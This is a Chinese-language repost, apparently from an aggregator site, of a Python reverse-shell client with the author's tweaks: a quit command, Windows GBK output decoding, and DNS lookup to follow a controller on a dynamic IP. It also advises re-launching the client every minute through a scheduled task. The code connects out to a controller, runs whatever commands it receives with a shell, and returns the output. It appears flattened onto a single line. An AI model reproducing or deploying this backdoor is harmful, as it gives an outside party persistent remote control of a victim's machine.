文章出處
雖然不是自己寫的,但是改了三個部分,網上發的這個,quit退出功能無法使用,因為傳過來的字符串其實是加了\n的,為了更人性化,我加了去空格。
第二個部分就是windows下的亂碼問題,這里我先用了decode進行解碼,然后encode編碼傳過去(吐槽一下,這個windows下亂碼問題,saltstack都沒解決,不知道什么情況)
這個腳本可以用計劃任務1分鐘執行1次,不用擔心腳本重啟啟動問題,因為端口被占用后是無法執行成功的
,所以不用擔心。
服務端退出可以不用quit,直接ctrl+c,客戶端是可以退出的
第三部分加了host = socket.gethostbyname(host) ,可以支持動態ip,防止更換ip造成客戶端丟失
import subprocessimport sockethost = "host"host = socket.gethostbyname(host)port = portclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)client.connect((host, port))client.send("Connected! quite to exit!\nCommand here: ")while 1: data = client.recv(1024) if data.lstrip() == "quit\n": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdoutput = proc.stdout.read()+proc.stderr.read() stdoutput = stdoutput.decode('gbk').encode('utf-8') client.send(stdoutput)client.send("Bye!")client.close()
就愛閱讀www.92to.com網友整理上傳,為您提供最全的知識大全,期待您的分享,轉載請注明出處。
歡迎轉載:http://www.kanwencang.com/bangong/20161216/71626.html
文章列表
全站熱搜